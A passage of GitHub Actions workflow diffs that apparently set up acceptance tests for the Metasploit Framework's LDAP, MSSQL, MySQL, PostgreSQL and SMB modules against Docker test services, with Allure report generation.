|
||||
security-events: none
|
||||
statuses: none
|
||||
|
||||
on:
|
||||
push:
|
||||
branches-ignore:
|
||||
- gh-pages
|
||||
- metakitty
|
||||
pull_request:
|
||||
branches:
|
||||
- '*'
|
||||
paths:
|
||||
- 'metsploit-framework.gemspec'
|
||||
- 'Gemfile.lock'
|
||||
- '**/**ldap**'
|
||||
- 'spec/acceptance/**'
|
||||
- 'spec/support/acceptance/**'
|
||||
- 'spec/acceptance_spec_helper.rb'
|
||||
- '.github/**'
|
||||
# Example of running as a cron, to weed out flaky tests
|
||||
# schedule:
|
||||
# - cron: '*/15 * * * *'
|
||||
|
||||
jobs:
|
||||
env:
|
||||
BUNDLE_WITHOUT: "coverage development pcap"
|
||||
|
||||
ldap:
|
||||
runs-on: ${{ matrix.os }}
|
||||
timeout-minutes: 40
|
||||
|
||||
strategy:
|
||||
fail-fast: true
|
||||
matrix:
|
||||
ruby:
|
||||
- '3.2'
|
||||
os:
|
||||
- ubuntu-latest
|
||||
|
||||
env:
|
||||
RAILS_ENV: test
|
||||
|
||||
name: LDAP Acceptance - ${{ matrix.os }} - Ruby ${{ matrix.ruby }}
|
||||
steps:
|
||||
- name: Install system dependencies
|
||||
run: sudo apt-get install -y --no-install-recommends libpcap-dev graphviz
|
||||
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Run samba/ldap docker container
|
||||
working-directory: 'test/ldap'
|
||||
run: |
|
||||
docker compose build
|
||||
docker compose up --wait -d
|
||||
|
||||
- name: Setup Ruby
|
||||
env:
|
||||
# Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM
|
||||
BUNDLE_FORCE_RUBY_PLATFORM: "${{ contains(matrix.ruby, 'preview') && 'true' || 'false' }}"
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: '${{ matrix.ruby }}'
|
||||
bundler-cache: true
|
||||
|
||||
- name: acceptance
|
||||
env:
|
||||
SPEC_HELPER_LOAD_METASPLOIT: false
|
||||
SPEC_OPTS: "--tag acceptance --require acceptance_spec_helper.rb --color --format documentation --format AllureRspec::RSpecFormatter"
|
||||
RUNTIME_VERSION: latest
|
||||
# Unix run command:
|
||||
# SPEC_HELPER_LOAD_METASPLOIT=false bundle exec ./spec/acceptance
|
||||
# Windows cmd command:
|
||||
# set SPEC_HELPER_LOAD_METASPLOIT=false
|
||||
# bundle exec rspec .\spec\acceptance
|
||||
# Note: rspec retry is intentionally not used, as it can cause issues with allure's reporting
|
||||
# Additionally - flakey tests should be fixed or marked as flakey instead of silently retried
|
||||
run: |
|
||||
bundle exec rspec spec/acceptance/ldap_spec.rb
|
||||
|
||||
- name: Archive results
|
||||
if: always()
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
# Provide a unique artifact for each matrix os, otherwise race conditions can lead to corrupt zips
|
||||
name: ldap-acceptance-${{ matrix.os }}
|
||||
path: tmp/allure-raw-data
|
||||
|
||||
# Generate a final report from the previous test results
|
||||
report:
|
||||
name: Generate report
|
||||
needs:
|
||||
- ldap
|
||||
runs-on: ubuntu-latest
|
||||
if: always()
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
if: always()
|
||||
|
||||
- name: Install system dependencies (Linux)
|
||||
if: always()
|
||||
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
|
||||
|
||||
- name: Setup Ruby
|
||||
if: always()
|
||||
env:
|
||||
BUNDLE_FORCE_RUBY_PLATFORM: true
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: '${{ matrix.ruby }}'
|
||||
bundler-cache: true
|
||||
cache-version: 4
|
||||
# Github actions with Ruby requires Bundler 2.2.18+
|
||||
# https://github.com/ruby/setup-ruby/tree/d2b39ad0b52eca07d23f3aa14fdf2a3fcc1f411c#windows
|
||||
bundler: 2.2.33
|
||||
|
||||
- uses: actions/download-artifact@v4
|
||||
id: download
|
||||
if: always()
|
||||
with:
|
||||
# Note: Not specifying a name will download all artifacts from the previous workflow jobs
|
||||
path: raw-data
|
||||
|
||||
- name: allure generate
|
||||
if: always()
|
||||
run: |
|
||||
export VERSION=2.22.1
|
||||
|
||||
curl -o allure-$VERSION.tgz -Ls https://github.com/allure-framework/allure2/releases/download/$VERSION/allure-$VERSION.tgz
|
||||
tar -zxvf allure-$VERSION.tgz -C .
|
||||
|
||||
ls -la ${{steps.download.outputs.download-path}}
|
||||
./allure-$VERSION/bin/allure generate ${{steps.download.outputs.download-path}}/* -o ./allure-report
|
||||
|
||||
find ${{steps.download.outputs.download-path}}
|
||||
bundle exec ruby tools/dev/report_generation/support_matrix/generate.rb --allure-data ${{steps.download.outputs.download-path}} > ./allure-report/support_matrix.html
|
||||
|
||||
- name: archive results
|
||||
if: always()
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: final-report-${{ github.run_id }}
|
||||
path: |
|
||||
./allure-report
|
||||
@@ -27,6 +27,9 @@ on:
|
||||
- weekly-dependency-updates
|
||||
|
||||
jobs:
|
||||
env:
|
||||
BUNDLE_WITHOUT: "coverage development pcap"
|
||||
|
||||
msftidy:
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 40
|
||||
@@ -43,7 +46,7 @@ jobs:
|
||||
run: sudo apt-get install libpcap-dev graphviz
|
||||
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v3
|
||||
uses: actions/checkout@v4
|
||||
# Required to checkout HEAD^ and 3a046f01dae340c124dd3895e670983aef5fe0c5 for the msftidy script
|
||||
# https://github.com/actions/checkout/tree/5a4ac9002d0be2fb38bd78e4b4dbde5606d7042f#checkout-head
|
||||
with:
|
||||
@@ -53,8 +56,6 @@ jobs:
|
||||
with:
|
||||
ruby-version: '${{ matrix.ruby }}'
|
||||
bundler-cache: true
|
||||
env:
|
||||
BUNDLE_WITHOUT: "coverage development pcap"
|
||||
|
||||
- name: Run msftidy
|
||||
run: |
|
||||
|
||||
@@ -0,0 +1,184 @@
|
||||
name: Acceptance
|
||||
|
||||
# Optional, enabling concurrency limits: https://docs.github.com/en/actions/using-jobs/using-concurrency
|
||||
#concurrency:
|
||||
# group: ${{ github.ref }}-${{ github.workflow }}
|
||||
# cancel-in-progress: ${{ github.ref != 'refs/heads/main' }}
|
||||
|
||||
# https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions
|
||||
permissions:
|
||||
actions: none
|
||||
checks: none
|
||||
contents: none
|
||||
deployments: none
|
||||
id-token: none
|
||||
issues: none
|
||||
discussions: none
|
||||
packages: none
|
||||
pages: none
|
||||
pull-requests: none
|
||||
repository-projects: none
|
||||
security-events: none
|
||||
statuses: none
|
||||
|
||||
on:
|
||||
push:
|
||||
branches-ignore:
|
||||
- gh-pages
|
||||
- metakitty
|
||||
pull_request:
|
||||
branches:
|
||||
- '*'
|
||||
paths:
|
||||
- 'metsploit-framework.gemspec'
|
||||
- 'Gemfile.lock'
|
||||
- '**/**mssql**'
|
||||
- 'spec/acceptance/**'
|
||||
- 'spec/support/acceptance/**'
|
||||
- 'spec/acceptance_spec_helper.rb'
|
||||
- '.github/**'
|
||||
# Example of running as a cron, to weed out flaky tests
|
||||
# schedule:
|
||||
# - cron: '*/15 * * * *'
|
||||
|
||||
jobs:
|
||||
env:
|
||||
BUNDLE_WITHOUT: "coverage development pcap"
|
||||
|
||||
mssql:
|
||||
runs-on: ${{ matrix.os }}
|
||||
timeout-minutes: 40
|
||||
|
||||
services:
|
||||
mssql:
|
||||
image: ${{ matrix.docker_image }}
|
||||
ports: ["1433:1433"]
|
||||
env:
|
||||
MSSQL_SA_PASSWORD: yourStrong(!)Password
|
||||
ACCEPT_EULA: 'Y'
|
||||
options: >-
|
||||
--health-cmd "/opt/mssql-tools/bin/sqlcmd -U sa -P 'yourStrong(!)Password' -Q 'select 1' -b -o /dev/null"
|
||||
--health-interval 10s
|
||||
--health-timeout 5s
|
||||
--health-retries 5
|
||||
|
||||
strategy:
|
||||
fail-fast: true
|
||||
matrix:
|
||||
ruby:
|
||||
- '3.2'
|
||||
os:
|
||||
- ubuntu-latest
|
||||
docker_image:
|
||||
- mcr.microsoft.com/mssql/server:2022-latest
|
||||
- mcr.microsoft.com/mssql/server:2019-latest
|
||||
|
||||
env:
|
||||
RAILS_ENV: test
|
||||
|
||||
name: ${{ matrix.docker_image }} - ${{ matrix.os }} - Ruby ${{ matrix.ruby }}
|
||||
steps:
|
||||
- name: Install system dependencies
|
||||
run: sudo apt-get install -y --no-install-recommends libpcap-dev graphviz
|
||||
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Setup Ruby
|
||||
env:
|
||||
# Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM
|
||||
BUNDLE_FORCE_RUBY_PLATFORM: "${{ contains(matrix.ruby, 'preview') && 'true' || 'false' }}"
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: '${{ matrix.ruby }}'
|
||||
bundler-cache: true
|
||||
|
||||
- name: Extract runtime version
|
||||
run: |
|
||||
echo "RUNTIME_VERSION=$(echo $DOCKER_IMAGE | awk -F: '{ print $2 }')" >> $GITHUB_ENV
|
||||
echo "DOCKER_IMAGE_FILENAME=$(echo $DOCKER_IMAGE | tr -d '/:')" >> $GITHUB_ENV
|
||||
env:
|
||||
DOCKER_IMAGE: ${{ matrix.docker_image }}
|
||||
OS: ${{ matrix.os }}
|
||||
|
||||
- name: acceptance
|
||||
env:
|
||||
SPEC_HELPER_LOAD_METASPLOIT: false
|
||||
SPEC_OPTS: "--tag acceptance --require acceptance_spec_helper.rb --color --format documentation --format AllureRspec::RSpecFormatter"
|
||||
RUNTIME_VERSION: ${{ env.RUNTIME_VERSION }}
|
||||
# Unix run command:
|
||||
# SPEC_HELPER_LOAD_METASPLOIT=false bundle exec ./spec/acceptance
|
||||
# Windows cmd command:
|
||||
# set SPEC_HELPER_LOAD_METASPLOIT=false
|
||||
# bundle exec rspec .\spec\acceptance
|
||||
# Note: rspec retry is intentionally not used, as it can cause issues with allure's reporting
|
||||
# Additionally - flakey tests should be fixed or marked as flakey instead of silently retried
|
||||
run: |
|
||||
bundle exec rspec spec/acceptance/mssql_spec.rb
|
||||
|
||||
- name: Archive results
|
||||
if: always()
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
# Provide a unique artifact for each matrix os, otherwise race conditions can lead to corrupt zips
|
||||
name: ${{ env.DOCKER_IMAGE_FILENAME }}-${{ matrix.os }}
|
||||
path: tmp/allure-raw-data
|
||||
|
||||
# Generate a final report from the previous test results
|
||||
report:
|
||||
name: Generate report
|
||||
needs:
|
||||
- mssql
|
||||
runs-on: ubuntu-latest
|
||||
if: always()
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
if: always()
|
||||
|
||||
- name: Install system dependencies (Linux)
|
||||
if: always()
|
||||
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
|
||||
|
||||
- name: Setup Ruby
|
||||
if: always()
|
||||
env:
|
||||
BUNDLE_FORCE_RUBY_PLATFORM: true
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: '${{ matrix.ruby }}'
|
||||
bundler-cache: true
|
||||
cache-version: 4
|
||||
# Github actions with Ruby requires Bundler 2.2.18+
|
||||
# https://github.com/ruby/setup-ruby/tree/d2b39ad0b52eca07d23f3aa14fdf2a3fcc1f411c#windows
|
||||
bundler: 2.2.33
|
||||
|
||||
- uses: actions/download-artifact@v4
|
||||
id: download
|
||||
if: always()
|
||||
with:
|
||||
# Note: Not specifying a name will download all artifacts from the previous workflow jobs
|
||||
path: raw-data
|
||||
|
||||
- name: allure generate
|
||||
if: always()
|
||||
run: |
|
||||
export VERSION=2.22.1
|
||||
|
||||
curl -o allure-$VERSION.tgz -Ls https://github.com/allure-framework/allure2/releases/download/$VERSION/allure-$VERSION.tgz
|
||||
tar -zxvf allure-$VERSION.tgz -C .
|
||||
|
||||
ls -la ${{steps.download.outputs.download-path}}
|
||||
./allure-$VERSION/bin/allure generate ${{steps.download.outputs.download-path}}/* -o ./allure-report
|
||||
|
||||
find ${{steps.download.outputs.download-path}}
|
||||
bundle exec ruby tools/dev/report_generation/support_matrix/generate.rb --allure-data ${{steps.download.outputs.download-path}} > ./allure-report/support_matrix.html
|
||||
|
||||
- name: archive results
|
||||
if: always()
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: final-report-${{ github.run_id }}
|
||||
path: |
|
||||
./allure-report
|
||||
@@ -0,0 +1,184 @@
|
||||
name: Acceptance
|
||||
|
||||
# Optional, enabling concurrency limits: https://docs.github.com/en/actions/using-jobs/using-concurrency
|
||||
#concurrency:
|
||||
# group: ${{ github.ref }}-${{ github.workflow }}
|
||||
# cancel-in-progress: ${{ github.ref != 'refs/heads/main' }}
|
||||
|
||||
# https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions
|
||||
permissions:
|
||||
actions: none
|
||||
checks: none
|
||||
contents: none
|
||||
deployments: none
|
||||
id-token: none
|
||||
issues: none
|
||||
discussions: none
|
||||
packages: none
|
||||
pages: none
|
||||
pull-requests: none
|
||||
repository-projects: none
|
||||
security-events: none
|
||||
statuses: none
|
||||
|
||||
on:
|
||||
push:
|
||||
branches-ignore:
|
||||
- gh-pages
|
||||
- metakitty
|
||||
pull_request:
|
||||
branches:
|
||||
- '*'
|
||||
paths:
|
||||
- 'metsploit-framework.gemspec'
|
||||
- 'Gemfile.lock'
|
||||
- '**/**mysql**'
|
||||
- 'spec/acceptance/**'
|
||||
- 'spec/support/acceptance/**'
|
||||
- 'spec/acceptance_spec_helper.rb'
|
||||
- '.github/**'
|
||||
# Example of running as a cron, to weed out flaky tests
|
||||
# schedule:
|
||||
# - cron: '*/15 * * * *'
|
||||
|
||||
jobs:
|
||||
env:
|
||||
BUNDLE_WITHOUT: "coverage development pcap"
|
||||
|
||||
mysql:
|
||||
runs-on: ${{ matrix.os }}
|
||||
timeout-minutes: 40
|
||||
|
||||
services:
|
||||
mysql:
|
||||
image: ${{ matrix.target.version }}
|
||||
ports: ["3306:3306"]
|
||||
env:
|
||||
MYSQL_ROOT_PASSWORD: password
|
||||
options: >-
|
||||
--health-cmd "${{ matrix.target.health_cmd }}"
|
||||
--health-interval 10s
|
||||
--health-timeout 10s
|
||||
--health-retries 5
|
||||
strategy:
|
||||
fail-fast: true
|
||||
matrix:
|
||||
ruby:
|
||||
- '3.2'
|
||||
os:
|
||||
- ubuntu-latest
|
||||
target:
|
||||
- { version: "mariadb:latest", health_cmd: "mariadb -uroot -ppassword -e 'SELECT version()'" }
|
||||
- { version: "mariadb:5.5.42", health_cmd: "mysql -uroot -ppassword -e 'SELECT version()'" }
|
||||
- { version: "mysql:latest", health_cmd: "mysql -uroot -ppassword -e 'SELECT version()'" }
|
||||
- { version: "mysql:5.5.42", health_cmd: "mysql -uroot -ppassword -e 'SELECT version()'" }
|
||||
|
||||
env:
|
||||
RAILS_ENV: test
|
||||
|
||||
name: ${{ matrix.target.version }} - ${{ matrix.os }} - Ruby ${{ matrix.ruby }}
|
||||
steps:
|
||||
- name: Install system dependencies
|
||||
run: sudo apt-get install -y --no-install-recommends libpcap-dev graphviz
|
||||
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Setup Ruby
|
||||
env:
|
||||
# Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM
|
||||
BUNDLE_FORCE_RUBY_PLATFORM: "${{ contains(matrix.ruby, 'preview') && 'true' || 'false' }}"
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: '${{ matrix.ruby }}'
|
||||
bundler-cache: true
|
||||
|
||||
- name: Extract runtime version
|
||||
run: |
|
||||
echo "RUNTIME_VERSION=$(echo $DOCKER_IMAGE | awk -F: '{ print $2 }')" >> $GITHUB_ENV
|
||||
echo "DOCKER_IMAGE_FILENAME=$(echo $DOCKER_IMAGE | tr -d ':')" >> $GITHUB_ENV
|
||||
env:
|
||||
DOCKER_IMAGE: ${{ matrix.target.version }}
|
||||
OS: ${{ matrix.os }}
|
||||
|
||||
- name: acceptance
|
||||
env:
|
||||
SPEC_HELPER_LOAD_METASPLOIT: false
|
||||
SPEC_OPTS: "--tag acceptance --require acceptance_spec_helper.rb --color --format documentation --format AllureRspec::RSpecFormatter"
|
||||
RUNTIME_VERSION: ${{ env.RUNTIME_VERSION }}
|
||||
# Unix run command:
|
||||
# SPEC_HELPER_LOAD_METASPLOIT=false bundle exec ./spec/acceptance
|
||||
# Windows cmd command:
|
||||
# set SPEC_HELPER_LOAD_METASPLOIT=false
|
||||
# bundle exec rspec .\spec\acceptance
|
||||
# Note: rspec retry is intentionally not used, as it can cause issues with allure's reporting
|
||||
# Additionally - flakey tests should be fixed or marked as flakey instead of silently retried
|
||||
run: |
|
||||
bundle exec rspec spec/acceptance/mysql_spec.rb
|
||||
|
||||
- name: Archive results
|
||||
if: always()
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
# Provide a unique artifact for each matrix os, otherwise race conditions can lead to corrupt zips
|
||||
name: ${{ env.DOCKER_IMAGE_FILENAME }}-${{ matrix.os }}
|
||||
path: tmp/allure-raw-data
|
||||
|
||||
# Generate a final report from the previous test results
|
||||
report:
|
||||
name: Generate report
|
||||
needs:
|
||||
- mysql
|
||||
runs-on: ubuntu-latest
|
||||
if: always()
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
if: always()
|
||||
|
||||
- name: Install system dependencies (Linux)
|
||||
if: always()
|
||||
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
|
||||
|
||||
- name: Setup Ruby
|
||||
if: always()
|
||||
env:
|
||||
BUNDLE_FORCE_RUBY_PLATFORM: true
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: '${{ matrix.ruby }}'
|
||||
bundler-cache: true
|
||||
cache-version: 4
|
||||
# Github actions with Ruby requires Bundler 2.2.18+
|
||||
# https://github.com/ruby/setup-ruby/tree/d2b39ad0b52eca07d23f3aa14fdf2a3fcc1f411c#windows
|
||||
bundler: 2.2.33
|
||||
|
||||
- uses: actions/download-artifact@v4
|
||||
id: download
|
||||
if: always()
|
||||
with:
|
||||
# Note: Not specifying a name will download all artifacts from the previous workflow jobs
|
||||
path: raw-data
|
||||
|
||||
- name: allure generate
|
||||
if: always()
|
||||
run: |
|
||||
export VERSION=2.22.1
|
||||
|
||||
curl -o allure-$VERSION.tgz -Ls https://github.com/allure-framework/allure2/releases/download/$VERSION/allure-$VERSION.tgz
|
||||
tar -zxvf allure-$VERSION.tgz -C .
|
||||
|
||||
ls -la ${{steps.download.outputs.download-path}}
|
||||
./allure-$VERSION/bin/allure generate ${{steps.download.outputs.download-path}}/* -o ./allure-report
|
||||
|
||||
find ${{steps.download.outputs.download-path}}
|
||||
bundle exec ruby tools/dev/report_generation/support_matrix/generate.rb --allure-data ${{steps.download.outputs.download-path}} > ./allure-report/support_matrix.html
|
||||
|
||||
- name: archive results
|
||||
if: always()
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: final-report-${{ github.run_id }}
|
||||
path: |
|
||||
./allure-report
|
||||
@@ -0,0 +1,184 @@
|
||||
name: Acceptance
|
||||
|
||||
# Optional, enabling concurrency limits: https://docs.github.com/en/actions/using-jobs/using-concurrency
|
||||
#concurrency:
|
||||
# group: ${{ github.ref }}-${{ github.workflow }}
|
||||
# cancel-in-progress: ${{ github.ref != 'refs/heads/main' }}
|
||||
|
||||
# https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions
|
||||
permissions:
|
||||
actions: none
|
||||
checks: none
|
||||
contents: none
|
||||
deployments: none
|
||||
id-token: none
|
||||
issues: none
|
||||
discussions: none
|
||||
packages: none
|
||||
pages: none
|
||||
pull-requests: none
|
||||
repository-projects: none
|
||||
security-events: none
|
||||
statuses: none
|
||||
|
||||
on:
|
||||
push:
|
||||
branches-ignore:
|
||||
- gh-pages
|
||||
- metakitty
|
||||
pull_request:
|
||||
branches:
|
||||
- '*'
|
||||
paths:
|
||||
- 'metsploit-framework.gemspec'
|
||||
- 'Gemfile.lock'
|
||||
- '**/**postgres**'
|
||||
- 'spec/acceptance/**'
|
||||
- 'spec/support/acceptance/**'
|
||||
- 'spec/acceptance_spec_helper.rb'
|
||||
- '.github/**'
|
||||
# Example of running as a cron, to weed out flaky tests
|
||||
# schedule:
|
||||
# - cron: '*/15 * * * *'
|
||||
|
||||
jobs:
|
||||
env:
|
||||
BUNDLE_WITHOUT: "coverage development pcap"
|
||||
|
||||
postgres:
|
||||
runs-on: ${{ matrix.os }}
|
||||
timeout-minutes: 40
|
||||
|
||||
services:
|
||||
postgres:
|
||||
image: ${{ matrix.docker_image }}
|
||||
ports: ["5432:5432"]
|
||||
env:
|
||||
POSTGRES_USER: postgres
|
||||
POSTGRES_PASSWORD: password
|
||||
options: >-
|
||||
--health-cmd pg_isready
|
||||
--health-interval 10s
|
||||
--health-timeout 5s
|
||||
--health-retries 5
|
||||
|
||||
strategy:
|
||||
fail-fast: true
|
||||
matrix:
|
||||
ruby:
|
||||
- '3.2'
|
||||
os:
|
||||
- ubuntu-latest
|
||||
docker_image:
|
||||
- postgres:9.4
|
||||
- postgres:16.2
|
||||
|
||||
env:
|
||||
RAILS_ENV: test
|
||||
|
||||
name: ${{ matrix.docker_image }} - ${{ matrix.os }} - Ruby ${{ matrix.ruby }}
|
||||
steps:
|
||||
- name: Install system dependencies
|
||||
run: sudo apt-get install -y --no-install-recommends libpcap-dev graphviz
|
||||
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Setup Ruby
|
||||
env:
|
||||
# Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM
|
||||
BUNDLE_FORCE_RUBY_PLATFORM: "${{ contains(matrix.ruby, 'preview') && 'true' || 'false' }}"
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: '${{ matrix.ruby }}'
|
||||
bundler-cache: true
|
||||
|
||||
- name: Extract runtime version
|
||||
run: |
|
||||
echo "RUNTIME_VERSION=$(echo $DOCKER_IMAGE | awk -F: '{ print $2 }')" >> $GITHUB_ENV
|
||||
echo "DOCKER_IMAGE_FILENAME=$(echo $DOCKER_IMAGE | tr -d ':')" >> $GITHUB_ENV
|
||||
env:
|
||||
DOCKER_IMAGE: ${{ matrix.docker_image }}
|
||||
OS: ${{ matrix.os }}
|
||||
|
||||
- name: acceptance
|
||||
env:
|
||||
SPEC_HELPER_LOAD_METASPLOIT: false
|
||||
SPEC_OPTS: "--tag acceptance --require acceptance_spec_helper.rb --color --format documentation --format AllureRspec::RSpecFormatter"
|
||||
RUNTIME_VERSION: ${{ env.RUNTIME_VERSION }}
|
||||
# Unix run command:
|
||||
# SPEC_HELPER_LOAD_METASPLOIT=false bundle exec ./spec/acceptance
|
||||
# Windows cmd command:
|
||||
# set SPEC_HELPER_LOAD_METASPLOIT=false
|
||||
# bundle exec rspec .\spec\acceptance
|
||||
# Note: rspec retry is intentionally not used, as it can cause issues with allure's reporting
|
||||
# Additionally - flakey tests should be fixed or marked as flakey instead of silently retried
|
||||
run: |
|
||||
bundle exec rspec spec/acceptance/postgres_spec.rb
|
||||
|
||||
- name: Archive results
|
||||
if: always()
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
# Provide a unique artifact for each matrix os, otherwise race conditions can lead to corrupt zips
|
||||
name: ${{ env.DOCKER_IMAGE_FILENAME }}-${{ matrix.os }}
|
||||
path: tmp/allure-raw-data
|
||||
|
||||
# Generate a final report from the previous test results
|
||||
report:
|
||||
name: Generate report
|
||||
needs:
|
||||
- postgres
|
||||
runs-on: ubuntu-latest
|
||||
if: always()
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
if: always()
|
||||
|
||||
- name: Install system dependencies (Linux)
|
||||
if: always()
|
||||
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
|
||||
|
||||
- name: Setup Ruby
|
||||
if: always()
|
||||
env:
|
||||
BUNDLE_FORCE_RUBY_PLATFORM: true
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: '${{ matrix.ruby }}'
|
||||
bundler-cache: true
|
||||
cache-version: 4
|
||||
# Github actions with Ruby requires Bundler 2.2.18+
|
||||
# https://github.com/ruby/setup-ruby/tree/d2b39ad0b52eca07d23f3aa14fdf2a3fcc1f411c#windows
|
||||
bundler: 2.2.33
|
||||
|
||||
- uses: actions/download-artifact@v4
|
||||
id: download
|
||||
if: always()
|
||||
with:
|
||||
# Note: Not specifying a name will download all artifacts from the previous workflow jobs
|
||||
path: raw-data
|
||||
|
||||
- name: allure generate
|
||||
if: always()
|
||||
run: |
|
||||
export VERSION=2.22.1
|
||||
|
||||
curl -o allure-$VERSION.tgz -Ls https://github.com/allure-framework/allure2/releases/download/$VERSION/allure-$VERSION.tgz
|
||||
tar -zxvf allure-$VERSION.tgz -C .
|
||||
|
||||
ls -la ${{steps.download.outputs.download-path}}
|
||||
./allure-$VERSION/bin/allure generate ${{steps.download.outputs.download-path}}/* -o ./allure-report
|
||||
|
||||
find ${{steps.download.outputs.download-path}}
|
||||
bundle exec ruby tools/dev/report_generation/support_matrix/generate.rb --allure-data ${{steps.download.outputs.download-path}} > ./allure-report/support_matrix.html
|
||||
|
||||
- name: archive results
|
||||
if: always()
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: final-report-${{ github.run_id }}
|
||||
path: |
|
||||
./allure-report
|
||||
@@ -0,0 +1,168 @@
|
||||
name: Acceptance
|
||||
|
||||
# Optional, enabling concurrency limits: https://docs.github.com/en/actions/using-jobs/using-concurrency
|
||||
#concurrency:
|
||||
# group: ${{ github.ref }}-${{ github.workflow }}
|
||||
# cancel-in-progress: ${{ github.ref != 'refs/heads/main' }}
|
||||
|
||||
# https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions
|
||||
permissions:
|
||||
actions: none
|
||||
checks: none
|
||||
contents: none
|
||||
deployments: none
|
||||
id-token: none
|
||||
issues: none
|
||||
discussions: none
|
||||
packages: none
|
||||
pages: none
|
||||
pull-requests: none
|
||||
repository-projects: none
|
||||
security-events: none
|
||||
statuses: none
|
||||
|
||||
on:
|
||||
push:
|
||||
branches-ignore:
|
||||
- gh-pages
|
||||
- metakitty
|
||||
pull_request:
|
||||
branches:
|
||||
- '*'
|
||||
paths:
|
||||
- 'metsploit-framework.gemspec'
|
||||
- 'Gemfile.lock'
|
||||
- '**/**smb**'
|
||||
- 'spec/acceptance/**'
|
||||
- 'spec/support/acceptance/**'
|
||||
- 'spec/acceptance_spec_helper.rb'
|
||||
- '.github/**'
|
||||
# Example of running as a cron, to weed out flaky tests
|
||||
# schedule:
|
||||
# - cron: '*/15 * * * *'
|
||||
|
||||
jobs:
|
||||
env:
|
||||
BUNDLE_WITHOUT: "coverage development pcap"
|
||||
|
||||
smb:
|
||||
runs-on: ${{ matrix.os }}
|
||||
timeout-minutes: 40
|
||||
|
||||
strategy:
|
||||
fail-fast: true
|
||||
matrix:
|
||||
ruby:
|
||||
- '3.2'
|
||||
os:
|
||||
- ubuntu-latest
|
||||
|
||||
env:
|
||||
RAILS_ENV: test
|
||||
SMB_USERNAME: acceptance_tests_user
|
||||
SMB_PASSWORD: acceptance_tests_password
|
||||
|
||||
name: SMB Acceptance - ${{ matrix.os }} - Ruby ${{ matrix.ruby }}
|
||||
steps:
|
||||
- name: Install system dependencies
|
||||
run: sudo apt-get install -y --no-install-recommends libpcap-dev graphviz
|
||||
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Run docker container
|
||||
working-directory: 'test/smb'
|
||||
run: |
|
||||
docker compose build
|
||||
docker compose up --wait -d
|
||||
|
||||
- name: Setup Ruby
|
||||
env:
|
||||
# Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM
|
||||
BUNDLE_FORCE_RUBY_PLATFORM: "${{ contains(matrix.ruby, 'preview') && 'true' || 'false' }}"
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: '${{ matrix.ruby }}'
|
||||
bundler-cache: true
|
||||
|
||||
- name: acceptance
|
||||
env:
|
||||
SPEC_HELPER_LOAD_METASPLOIT: false
|
||||
SPEC_OPTS: "--tag acceptance --require acceptance_spec_helper.rb --color --format documentation --format AllureRspec::RSpecFormatter"
|
||||
RUNTIME_VERSION: 'latest'
|
||||
# Unix run command:
|
||||
# SPEC_HELPER_LOAD_METASPLOIT=false bundle exec ./spec/acceptance
|
||||
# Windows cmd command:
|
||||
# set SPEC_HELPER_LOAD_METASPLOIT=false
|
||||
# bundle exec rspec .\spec\acceptance
|
||||
# Note: rspec retry is intentionally not used, as it can cause issues with allure's reporting
|
||||
# Additionally - flakey tests should be fixed or marked as flakey instead of silently retried
|
||||
run: |
|
||||
bundle exec rspec spec/acceptance/smb_spec.rb
|
||||
|
||||
- name: Archive results
|
||||
if: always()
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
# Provide a unique artifact for each matrix os, otherwise race conditions can lead to corrupt zips
|
||||
name: smb_acceptance-${{ matrix.os }}
|
